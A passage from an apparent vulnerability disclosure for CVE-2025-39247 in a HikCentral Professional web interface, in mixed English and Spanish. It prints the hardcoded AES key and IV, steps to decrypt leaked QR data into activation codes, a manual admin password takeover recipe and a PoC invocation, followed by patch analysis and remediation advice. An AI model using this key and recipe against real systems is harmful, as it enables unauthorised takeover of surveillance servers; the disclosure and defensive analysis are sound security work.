KEY = WwXxYyZz1234!@#$,
IV = AaBbCcDd1234!@#$,
PT = "License:[,...];DZP:"))
The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
(one per licensed module on the target). Any single ActiveCode in
that list is accepted by the takeover workflow in HALF 2.
-
Locally:
a. base64-decode the QRCode field → PNG bytes
b. decode the QR (e.g. pyzbar) → URL string
c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
base64 character that must survive verbatim)
d. base64-decode → 16N bytes of AES ciphertext
e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
f. split on "License:" / "," / ";DZP:"
→ list of ActiveCodes in plaintext.
| Archive | Contents |
|---|
246/Nginx + 246/www | Capa web de Nginx (la puerta de entrada) y la interfaz de usuario web SPA |
244/bin | Binarios de servicios nativos en C++ + certificados |
240 | PostgreSQL empaquetado + scripts de inicialización de BD |
238 | Entorno de ejecución Bee* (BeeAgent, BeeGuard, …) |
282 | Servicios de aplicación y complementos (la mayor parte del código backend en C++) |
281, 283-284, 396, 398-399, 513, 520, 538-541, 573 | Complementos más pequeños, plugins, stubs de actualización/desinstalación |
HALF 2 — manual takeover via the legitimate Web UI:
- Open https://: in a browser.
- Click «Forgot password».
- Username → admin
- Recovery method → «Activation code» (NOT email / questions)
- Activation code →
- Choose & confirm a new admin password.
- Log in as admin with the new password.
Sin fuerza bruta, sin ingeniería social, sin conocimiento previo excepto el par KEY+IV de 16 bytes que se puede recuperar una vez desde un `platform.dll` V2.6.2 y es idéntico en cada instalación de cada versión vulnerable. Las mitades 4-10 las realiza manualmente el operador a través de la interfaz de usuario legítima; no hay equivalente automatizado en el PoC de referencia.
Implementación: `poc/cve_2025_39247_poc.py` — un script de Python **solo de reconocimiento**. Realiza la MITAD 1 (dos POST de solo lectura sin autenticación) y luego imprime la receta manual (pasos 4-10) con la URL objetivo del operador y los ActiveCode(s) recuperados completados. El script no contiene código que escriba en el objetivo; la MITAD 2 se realiza manualmente a través de la interfaz web, por lo que la herramienta sigue siendo un instrumento de verificación en lugar de un arma de lanzar y olvidar.
Run:```bash
python3 poc/cve_2025_39247_poc.py https://<TARGET>:<PORT>
Dos flags --qr-* permiten que el script se ejecute completamente sin conexión contra un QR capturado (para análisis sin volver a atacar un objetivo):
--qr-scanned-text '<valor>' — pega el contenido de texto de un QR escaneado
--qr-ciphertext-hex <hex> — introduce el texto cifrado AES descifrado en base64 previamente extraído
12. Lo que realmente cambió en V2.6.3 (y el Fix-Pack)
Defensa V2.6.2 V2.6.3 Fix-Pack sobre V2.6.2 Restricción de remote-addr de Nginx en ChangeDefaultUserPassword ausente añadida añadida (mediante script de InstallShield en el EXE del Fix-Pack — confirmado por las cadenas \VSM Servers\Web Service\Nginx\conf\nginx_location.conf / _bak.conf dentro del motor de instalación del Fix-Pack) Verificación literal 127.0.0.1 a nivel de aplicación en el manejador ausente añadida no añadida (Fix-Pack no parcha platform.dll) Bloqueo por cuenta (CRetrievePwdByQuesFreezeManager) ausente añadido (solo admin) no añadido Paso de validación CheckToken ausente añadido no añadido El texto plano del QR contiene License:<ActiveCode>;DZP:... SÍ eliminado no cambiado (Fix-Pack no parcha platform.dll) Clave AES del QR recuperable desde el binario rotada o no utilizada (depende de si el cambio de formato del texto plano dejó inactiva la ruta) rotada mediante wbaes_key_dec + descifrador de AES de caja blanca en el Fix-Pack IV AES del QR AaBbCcDd1234!@#$sin cambios sin cambios Divulgación de información en RetrieveStateInfo filtra sigue filtrando sigue filtrando GetSecurityQuestionCommBeforeLoginfiltra sigue filtrando sigue filtrando Instalador vulnerable accesible en CDN de Hikvision sí sí sí
El Fix-Pack incluye una pieza móvil extra que la versión V2.6.3 no necesita: un descifrador de AES de caja blanca (wbext_dec.exe, la ruta de origen filtra D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c, usa su propio literal fixed_iv_16byte de IV) más un texto cifrado AES-128-CFB de 244 bytes (wbaes_key_dec). El descifrador toma el blob de texto cifrado y produce una nueva clave en texto plano, que el instalador del Fix-Pack escribe en el almacenamiento de HCMP para rotar la clave QR incrustada en el binario en instalaciones V2.6.2 existentes. AES de caja blanca se usa aquí únicamente para que sea inconveniente extraer la clave rotada del artefacto del parche mediante inspección — la misma técnica defensiva utilizada por los sistemas DRM.
13. Acciones de remediación recomendadas (más allá de los parches publicados)
- Elimina los binarios del instalador huérfanos de la CDN.
…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe todavía sirve HTTP/2 200 con un acierto de caché perimetral de 29 días. Lo mismo ocurre con V2.6.0, V2.5.1, etc. — todos los instaladores en el rango vulnerable siguen siendo accesibles mediante URL directa. La exclusión a nivel de página es cosmética.
- Autentica
RetrieveStateInfo y GetSecurityQuestionCommBeforeLogin. Ambos filtran el correo electrónico del administrador y los metadatos de configuración de recuperación a llamadores anónimos también en V2.6.3; ninguno fue modificado por el parche.
- Deja de usar constantes ASCII de marcador de posición como material de clave criptográfica.
WwXxYyZz1234!@#$ es el tipo de valor que sobrevive a una "revisión de código superficial". Reemplázalo con material aleatorio por instalación en la primera ejecución; si la compatibilidad hacia atrás requiere un respaldo incrustado en el binario, al menos derívalo de un hash del estado específico de la instalación (GUID de la máquina, marca de tiempo de instalación) para que varíe por despliegue.
- Trata "la IV no necesita ser secreta" como un arma de doble filo, no una licencia. Mantener la IV literal incluso después de la divulgación es matemáticamente defendible en CBC, pero produce una facilidad innecesaria para el atacante una vez que el diff expone la rotación como solo de clave.
- Para la familia de endpoints
ChangeDefault*, prefiere un listener de socket de dominio Unix / solo loopback en la capa de aplicación en lugar de una restricción de configuración de Nginx. Un archivo de configuración está a una mala edición de reintroducir el error; un bind 127.0.0.1 en el servicio C++ es estructuralmente más seguro.